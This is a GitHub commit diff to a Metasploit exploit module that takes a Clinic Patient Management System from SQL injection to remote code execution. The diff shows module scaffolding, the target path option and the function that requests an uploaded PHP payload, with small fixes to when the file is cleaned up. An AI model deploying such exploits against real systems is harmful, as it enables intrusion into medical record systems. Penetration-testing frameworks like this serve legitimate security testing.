Skip to content

Commit 1d6ec73

Browse files
committed
Fixes file cleanup
1 parent 86335ba commit 1d6ec73

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote
88
include Msf::Exploit::Remote::HttpClient
99
include Msf::Exploit::PhpEXE
1010
include Msf::Exploit::FileDropper
11-
include Msf::Post::File
11+
# include Msf::Post::File
1212
include Msf::Auxiliary::Report
1313
prepend Msf::Exploit::Remote::AutoCheck
1414

@@ -47,7 +47,7 @@ def initialize(info = {})
4747
)
4848

4949
register_options([
50-
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
50+
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
5151
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
5252
])
5353
end
@@ -181,12 +181,12 @@ def trigger_payload
181181

182182
fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
183183

184+
register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
184185
send_request_cgi({
185186
'uri' => normalize_uri(target_uri.path, payload_path),
186187
'method' => 'GET',
187188
'keep_cookies' => true
188189
})
189-
register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
190190
end
191191

192192
def exploit

0 commit comments

Comments
 (0)